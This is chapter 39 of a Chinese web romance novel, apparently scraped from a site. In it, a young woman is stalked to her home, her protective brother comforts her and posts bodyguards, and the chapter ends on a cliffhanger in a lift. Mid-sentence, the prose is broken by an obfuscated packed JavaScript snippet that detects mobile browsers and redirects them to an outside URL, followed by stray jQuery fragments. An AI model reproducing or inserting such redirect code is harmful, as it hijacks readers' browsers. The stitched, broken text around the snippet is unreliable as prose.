二两昔归 作品

39. 第 39 章

沈燎赶到家时,手里还提着小盒草莓慕斯。


门口停着警车,院子里有几名警察。他走上前,寻找沈离离,下一刻就与她视线相对,她立刻朝他跑过来,两位警察也转身看。


沈燎稳稳接住她,紧紧握着她的肩膀,低声问:“怎么样,有没有哪里不舒服?”


她深吸了一口气,平复心情,摇头说:“没事。”


警察问:“这位是?”


两个人同时沉默,两秒后,异口同声:“我哥哥/她哥哥。”


沈离离顿时一阵心悸,有种很奇妙的复杂感受,但有公职人员在场,只好忍住了没有抬头与他对视,只紧抿住唇。


她重新跟沈燎说了一遍事情的经过。其实简单到五个字就能讲清楚——她被跟踪了。


沈离离把自己回家的路线一五一十地跟警察描述了一遍。然后就是她报警时的情况:一个戴了帽子和口罩的男人在按她家的门铃,又凶又急。


通过智能屏幕看见外面的人之后,她毫不犹豫地拿了水果刀就冲回房间,反锁房门并报警。


门铃大概响了五分钟,那个男人离开了。沈离离一直躲在房间衣柜里,不敢往外看,也不清楚那人是往哪个方向去了。


直到听见警车鸣笛声,悬了整夜的心才放松下来。


沈燎听得直皱眉,始终紧握着沈离离的手,拇指轻轻摩挲她的手背。


“那个混……他是怎么进来的?”他压着火。


这是个人尽皆知的高档小区,治安很好,门禁很严格,没出过差错。


被叫来的保安有些心虚,很不好意思地说:“从监控死角翻进来。那边巡逻的老哥刚好吃饭去了,没想到会出这种事……”


保安室的监控放出来,只能捕捉到那人的身形,帽子口罩把他遮得严严实实。


“沈小姐只比他早到家十分钟,”警官严肃地看向沈离离,说:“但照沈小姐的说法,你是从CB广场直接打车回来的?”


她点头:“对,只有三公里远,可能十分钟不到,我就到家了。”


“但如果他是一路尾随,很大可能不会等到你进门。”警官道。


“所以,这个人,知道我家住在哪里。”


沈离离缓慢说出来,登时感到一阵彻骨寒意。


事情处理完,已经是深夜。由于没有造成实质性伤害,证据也不明显,警官们没法帮她立案,最终只能让她注意安全,随时准备报警。


回到家里,沈离离浑身瘫软,倒在沙发里一动不动了。


刚才在警察面前强撑起的冷静全盘崩溃,只剩疲惫和茫然。


沈燎把手臂绕道她肩膀后面,抱着她,用脸颊去蹭了蹭她的额角,轻声说:“没事了,离离,别怕,哥哥已经叫人去查。这几天出门我让几个人跟着你,不怕了。”


沈离离去找他另一只手,紧紧抓住,然后仰头看向他。


看着看着,他又低头亲了亲她的额头,说:“没事了,哥哥在,以后再也不会发生这种事,我向你保证。”


情绪猛然上涌,洪水一样冲过阀门,拦也拦不住。


沈离离一下子翻身抱住他的腰,趴在他肩膀上呜咽出来。沈燎张开手臂,把她圈进怀里,一下下轻抚她的脊背,偏头蹭她的发顶,“想哭就哭,没关系的,这件事……怪哥哥没保护好你,让我们离离受委屈了。但你做得很好,第一时间报警,保护了自己。真的长大了。”


沈离离哭得失声,泪水浸湿他的衣服。


近一分钟的漫长哭泣,她头晕得不行,终于缓过劲来,抬起头,眼睛很红,睫毛被泪水粘连着,满脸泪痕。


沈燎伸手抽了纸,给她轻轻擦掉脸上的泪水。


沈离离不再吭声,很安静地望着他,脑袋似乎已经恢复冷静,只是仍旧迷茫。这种迷茫里,夹杂着丝丝缕缕的恐惧,不那么明显,却能清晰感觉到它的存在。


像是一簇火苗,燃自内心深处,灼得她一阵阵心慌。


“哥,”她垂下眼,说,“我今晚能跟你一起睡吗?”


大脑还没反应过来,嘴巴就先点了头:“能啊,怎么不能。”


答应完,沈燎才滞住,一秒的时间,脑子里已经迅速闪过无数种少儿不宜的画面。他沉着脸,紧绷唇角,强压下那些不合时宜的念头。


洗完澡,上床,已经是晚上十一点。


沈离离实在没胃口,只好把草莓慕斯放进冰箱,第二天再宠幸它。


她率先钻上床,把被窝往上拉到盖住下半张脸。听着浴室的水声,闭着眼睛,沉默地吸了一下,被子里都是沈燎的气味。


好奇怪,明明是新换的床上用品,为什么还是有这味道,难不成是洗衣液的香味?


这些向来是定期有阿姨来清洗更换,她还真分不清是什么气味。


就这样胡思乱想着,等沈燎上床时,她已经昏昏欲睡。


身边的床垫明显往下陷了一点,浑身还带着湿意和热气的男人躺在她身边。一时间,两个人都紧张得不敢动弹,绷直身躯,四肢僵硬。


沈离离困意消散了大半,开始质疑自己是否做了一个过于冲动的决定。


直到沈燎出声,音色微哑,“那我关灯了?”


一声好还卡在喉咙里,灯熄灭了,满室寂静与黑暗。


“是关了,还是停电?”


沈燎:“……好像是声控灯,触发语音是关灯。”


沈离离:“那如果说开灯,它是不是就会——”


话没说完,灯果然开了,明亮光线一下子刺得两人紧紧眯了下眼。沈离离转头,与沈燎对上视线,静默一秒钟,噗嗤一声,同时笑出来。


“好了,睡觉吧。”沈燎嗓音温柔,目光也柔和得像水一样。


她点点头,然后出声道:“关灯。”


这一夜,什么都没有发生。除了沈燎半夜转醒,收获了一条发麻的手臂——被沈离离抱了好几个小时。


大概是借了微弱的,从窗帘缝隙透进来的月光,他看清她的脸。


长发散在枕头上,她眉头紧锁,眼睛也闭得有点紧,整个人蜷缩着,紧紧抱着他,像在噩梦中抓着一根救命稻草。


沈燎睡意全无,盯着她瞧了很久。


他伸手,抚平她的眉心,然后小心翼翼地将酸麻的手臂抽出来,侧过身子,抬起她的胳膊搭在自己腰上,再轻轻把她揽进怀中。


上一次这样相贴入睡,好像是年纪还很小的时候了。


记忆里,自从关瑶去世,沈离离就成长了很多,很少诉苦,也很少展露真正的脆弱。她用一层柔软的,有韧性的壳包裹自己,然后对全世界说,你看,我还是那个细腻又可靠的沈离离,我才不会碎掉。


而此时此刻,沈燎只想抱着她,让她睡得安稳一点。


-


沈离离知道,那天晚上过后,沈燎大概率会为她的人身安全问题下不小的功夫,但没想到,能夸张到这个地步。


门外随时有六位魁梧的黑西装男保镖候命,只要她出门,他们会一直跟在她附近,一路盯梢,观察周围情况。


而屋内,多了一位清爽干练的短发女性,长得很高,可能得一米七五朝上,看上去三十岁左右,十分健康的小麦色皮肤。她让沈离离管自己叫楚姐。


还好楚姐只是一身运动装,没有穿黑西装,不然沈离离真感觉在演什么特工电影。


楚姐说:“除了进卫生间,沈先生要求我随时跟你


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411706|167486||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


身边。”


沈离离有点麻木了,“好吧,那您得在录音室待很久了,如果不爱听歌,可能会有点无聊。”


楚姐:“完全没问题,而且我挺喜欢听歌的。”


楚姐比想象中健谈,并不那么严肃,这让沈离离心情好了很多。


“我哥他……有跟你们说具体发生了什么事吗?”录音室里,沈离离抱着电吉他,忽然停下来,抬头看向楚姐。


“说了您被人尾随跟踪。”


沈离离:“所以,阵仗是不是有点太大了?”


“怎么会,”楚姐很惊讶地看她,“我们以前还见过更夸张的,像那些明星防狗仔,比这阵仗大多了。”


“真的吗?”


楚姐宽慰她:“真的呀,你这可是威胁到人身安全,沈先生那么担心,完全情有可原。”


沈离离缓缓呼出一口气,“好吧,谢谢你。”她重新低头,拨动琴弦。


楚姐始终坐在一旁,不自觉面带微笑看着她。


其实她很少听音乐,对此一窍不通,不过她冥冥之中有种感觉,这个女孩子的演奏肯定是水平很高的那种。


有了保镖后的第三天,沈离离出门了,是和陈夏安约好的一顿晚饭。


由不得她是否有心理阴影,高大健壮的楚姐,以及隐入人群的六位壮汉,都让她简直放心得不能再放心了。


因此,与陈夏安见面后,陈同学的第一句话就是:“沈燎真是把你当小鸡仔护啊。”


沈离离纠正说:“不是小鸡仔,可能是把我当国际巨星了。”


陈夏安笑出声,捂着肚子,“那倒是还不够,国际巨星的话,贴身保镖肯定不止一位吧。”


鉴于楚姐还在场,沈离离不太好意思跟陈夏安说,其实这种程度的贴身,一个就够了。


聊起最近的八卦,两个人情绪都有点激动,谁谁谁又恋爱了,谁和谁又闹掰了,哪个乐队,哪个学校,又曝出了什么瓜……


最让沈离离吃惊的是,杨敬澄被贴了渣男标签挂上了校园墙。


“不是吧……他?”


“就是他,”陈夏安叹息摇头,“不止你,连我都觉得不习惯,好像分开之后,他就跟变了个人似的。离离,我都不敢想,他要是知道了你和你……和沈燎的关系,会疯成什么样。”


沈离离倒是不太担忧,“能怎么样?如果是现实攻击,报警就行,如果是造谣,除非他拿出证据,我清清白白,也没什么好自证的。”


听完,陈夏安仔细想了想,点头说:“还挺有道理的。你这方面的心态我真是佩服。”


“过奖过奖。”她笑笑。


两人再次走到烤肉店,去了最常坐的位置,服务员走过来的时候,脸上的笑容很真挚,对她们两个非常眼熟了。


沈离离询问一旁的楚姐:“坐下和我们一起吃吧。”


楚姐笑着婉拒:“等回家之后,换了班我再吃。”


换班的那位女性只在饭点出现过,扎着高马尾,不苟言笑的样子,总共没说过几句话,沈离离和她不太熟。


工作性质如此,沈离离不再强求,只说辛苦你了。


其实强求过,但对方很大惊失色,郑重表示:“这样我是要被扣工资的。”


只好作罢。


吃完饭,沈离离担心楚姐换班太晚,于是没有在外逗留很久。与陈夏安道别,去买了点水果就走向车库。


电梯里人有点多,楚姐抬起手臂,直接把她护在怀里,像保护小鹅的鹅妈妈。沈离离脑子里冒出卡通画面。


她边想,边笑了笑,刚想和楚姐讲话,忽然,听见电梯叮的一声,同时响起的还有楚姐的喊声。


“站住!想干什么!”